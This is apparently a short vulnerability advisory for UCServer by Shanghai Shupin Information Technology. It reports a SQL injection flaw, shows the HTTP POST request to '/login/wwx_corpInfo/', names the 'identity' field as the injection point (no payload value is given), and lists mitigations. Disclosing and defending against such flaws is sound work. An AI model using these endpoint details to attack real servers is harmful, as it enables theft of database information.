
UCServer is an advanced converged communication server. Shanghai Shupin Information Technology Co., Ltd. UCServer has a SQL injection vulnerability. Attackers can exploit this vulnerability to obtain sensitive database information.
POST /login/wwx_corpInfo/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Referer: http://example.com/
Content-Length: 132
Accept-Encoding: gzip,deflate,br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Host: example.com
Proxy-Connection: Keep-alive
&identity=
In the POST request body, "identity" is the injection point.

Enable the web firewall; block any IP access to the "/login/wwx_corpInfo/" path; prevent the database from accepting external remote connections; upgrade the database version.